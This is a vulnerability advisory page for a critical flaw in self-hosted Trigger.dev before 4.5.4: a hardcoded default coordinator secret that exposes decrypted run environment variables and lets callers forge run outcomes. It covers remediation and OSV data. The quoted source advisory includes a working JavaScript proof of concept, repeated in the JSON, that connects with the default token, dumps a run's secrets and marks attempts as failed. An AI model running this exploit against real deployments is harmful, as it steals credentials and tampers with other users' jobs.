GHSA-gg6r-gp4c-89hp: Trigger.dev V1 Coordinator Default-secret Unauth Socket.IO Vulnerability

CRITICAL
CWE-798 CWE-862 CWE-200
Published
Advisory Summary

GHSA-gg6r-gp4c-89hp is a CRITICAL v1 coordinator default-secret unauth socket.io vulnerability (CWE-798: Use of Hard-coded Credentials) affecting Trigger.dev libraries in the npm ecosystem. The issue involves v1 coordinator default-secret unauth socket.io. Remediation is available by upgrading affected packages to version 4.5.4.

GHSA-gg6r-gp4c-89hp at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-gg6r-gp4c-89hp
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-798: Use of Hard-coded Credentials
Affected Product Trigger.dev
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-gg6r-gp4c-89hp

To remediate this vulnerability, upgrade all affected Trigger.dev dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

trigger.dev fixed: 4.5.4
npm install trigger.dev@4.5.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls trigger.dev

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-gg6r-gp4c-89hp, inspect your project dependencies using npm:

npm ls trigger.dev

Analyze the terminal output to locate any version of Trigger.dev in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.4), your application is affected.

Note: The npm ls trigger.dev command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-798: Use of Hard-coded Credentials, where the product contains hard-coded credentials, such as a password or cryptographic key. In Trigger.dev, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## TL;DR The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find. ## Vulnerabilities This attack is made possible by 3 vulnerabilities in Trigger.dev: ### 1. Hardcoded default authentication secret (CWE-798, Critical) PROVIDER_SECRET and COORDINATOR_SECRET are declared with `.default("provider-secret")` / `.default("coordinator-secret")` in [`apps/webapp/app/env.server.ts:289-290`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/env.server.ts#L289-L290). The values are present in the public source repo, neither var is documented in `docs/self-hosting/env/*.mdx`, `hosting/docker/.env.example`, or `hosting/k8s/helm/values.yaml`, and the auth check at [`packages/core/src/v3/zodNamespace.ts:148`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/packages/core/src/v3/zodNamespace.ts#L148) is a plain string compare against that published value ### 2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High) `READY_FOR_EXECUTION` at [`apps/webapp/app/v3/handleSocketIo.server.ts:123`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/handleSocketIo.server.ts#L123) calls `sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...)`, which at [`apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts#L1881-L1895) returns `payload.environment` as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only `marqs/` code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below ### 3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High) TASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. `attempt_*` friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id ## Exploit chain / PoC ```js import { io } from "socket.io-client"; const sock = io("https://<self-hosted-target>/coordinator", { auth: { token: "coordinator-secret" }, transports: ["websocket"], }); sock.on("connect", () => { // exfil decrypted env for a known run id sock.emit("READY_FOR_EXECUTION", { runId: "<runId>", totalCompletions: 0 }, (res) => { console.log(res.payload.environment); // { DATABASE_URL: "...", STRIPE_SECRET_KEY: "...", OPENAI_API_KEY: "...", ... } }); // mark any attempt failed sock.emit("TASK_RUN_FAILED_TO_RUN", { completion: { id: "<attempt_friendlyId>", ok: false, error: { type: "INTERNAL_ERROR", code: "FORGED", message: "owned" }, }, }); }); ``` ## Resolution Fixed in **v4.5.4**. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit `5ba8557a5` (#4236) — including the `/coordinator`, `/provider`, and `/shared-queue` Socket.IO namespaces, `packages/core/src/v3/zodNamespace.ts`, the `marqs` shared-queue consumer, and the `PROVIDER_SECRET` / `COORDINATOR_SECRET` environment variables. All three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the `READY_FOR_EXECUTION` env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone. **Affected:** self-hosted Trigger.dev `< 4.5.4`. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3). **Managed cloud (cloud.trigger.dev) was not affected:** it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied. **Action:** self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.

GHSA-gg6r-gp4c-89hp Affected Trigger.dev Versions

1 component(s)
Fixed Versions:
4.5.4
Product / Package Ecosystem Affected Versions Fixed Version
trigger.dev
npm
< 4.5.4
4.5.4

References

Frequently Asked Questions

What is GHSA-gg6r-gp4c-89hp?
GHSA-gg6r-gp4c-89hp is a security vulnerability in Trigger.dev involving V1 coordinator default-secret unauth Socket.IO under CWE-798: Use of Hard-coded Credentials.
Which Trigger.dev versions are affected?
Affected versions include releases prior to 4.5.4 across affected packages: trigger.dev.
What version fixes GHSA-gg6r-gp4c-89hp?
Upgrading to 4.5.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is trigger.dev affected?
Yes, trigger.dev is affected in releases prior to 4.5.4. Upgrade your dependency to 4.5.4 or later.
What CWE is associated with GHSA-gg6r-gp4c-89hp?
GHSA-gg6r-gp4c-89hp is classified under CWE-798: Use of Hard-coded Credentials (The product contains hard-coded credentials, such as a password or cryptographic key.).
How can I check npm dependencies for GHSA-gg6r-gp4c-89hp?
Run the dependency tree command: 'npm ls trigger.dev'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gg6r-gp4c-89hp",
  "modified" : "2026-10-02T22:39:00Z",
  "published" : "2026-10-02T22:39:00Z",
  "aliases" : [ ],
  "summary" : "Trigger.dev: V1 coordinator default-secret unauth Socket.IO",
  "details" : "## TL;DR\n\nThe /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret (\"coordinator-secret\") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.\n\n## Vulnerabilities\n\nThis attack is made possible by 3 vulnerabilities in Trigger.dev:\n\n### 1. Hardcoded default authentication secret (CWE-798, Critical)\nPROVIDER_SECRET and COORDINATOR_SECRET are declared with `.default(\"provider-secret\")` / `.default(\"coordinator-secret\")` in [`apps/webapp/app/env.server.ts:289-290`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/env.server.ts#L289-L290). The values are present in the public source repo, neither var is documented in `docs/self-hosting/env/*.mdx`, `hosting/docker/.env.example`, or `hosting/k8s/helm/values.yaml`, and the auth check at [`packages/core/src/v3/zodNamespace.ts:148`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/packages/core/src/v3/zodNamespace.ts#L148) is a plain string compare against that published value\n\n### 2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High)\n`READY_FOR_EXECUTION` at [`apps/webapp/app/v3/handleSocketIo.server.ts:123`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/handleSocketIo.server.ts#L123) calls `sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...)`, which at [`apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts#L1881-L1895) returns `payload.environment` as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only `marqs/` code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below\n\n### 3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High)\nTASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. `attempt_*` friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id\n\n## Exploit chain / PoC\n\n```js\nimport { io } from \"socket.io-client\";\n\nconst sock = io(\"https://<self-hosted-target>/coordinator\", {\n  auth: { token: \"coordinator-secret\" },\n  transports: [\"websocket\"],\n});\n\nsock.on(\"connect\", () => {\n  // exfil decrypted env for a known run id\n  sock.emit(\"READY_FOR_EXECUTION\", { runId: \"<runId>\", totalCompletions: 0 }, (res) => {\n    console.log(res.payload.environment);\n    // { DATABASE_URL: \"...\", STRIPE_SECRET_KEY: \"...\", OPENAI_API_KEY: \"...\", ... }\n  });\n\n  // mark any attempt failed\n  sock.emit(\"TASK_RUN_FAILED_TO_RUN\", {\n    completion: {\n      id: \"<attempt_friendlyId>\",\n      ok: false,\n      error: { type: \"INTERNAL_ERROR\", code: \"FORGED\", message: \"owned\" },\n    },\n  });\n});\n```\n\n## Resolution\n\nFixed in **v4.5.4**. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit `5ba8557a5` (#4236) — including the `/coordinator`, `/provider`, and `/shared-queue` Socket.IO namespaces, `packages/core/src/v3/zodNamespace.ts`, the `marqs` shared-queue consumer, and the `PROVIDER_SECRET` / `COORDINATOR_SECRET` environment variables.\n\nAll three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the `READY_FOR_EXECUTION` env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.\n\n**Affected:** self-hosted Trigger.dev `< 4.5.4`. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).\n\n**Managed cloud (cloud.trigger.dev) was not affected:** it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.\n\n**Action:** self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "trigger.dev"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-gg6r-gp4c-89hp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/pull/4236"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/commit/5ba8557a51533be05f04245b03e1ca975cd57eff"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/triggerdotdev/trigger.dev"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-798", "CWE-862" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-02T22:39:00Z",
    "nvd_published_at" : null
  }
}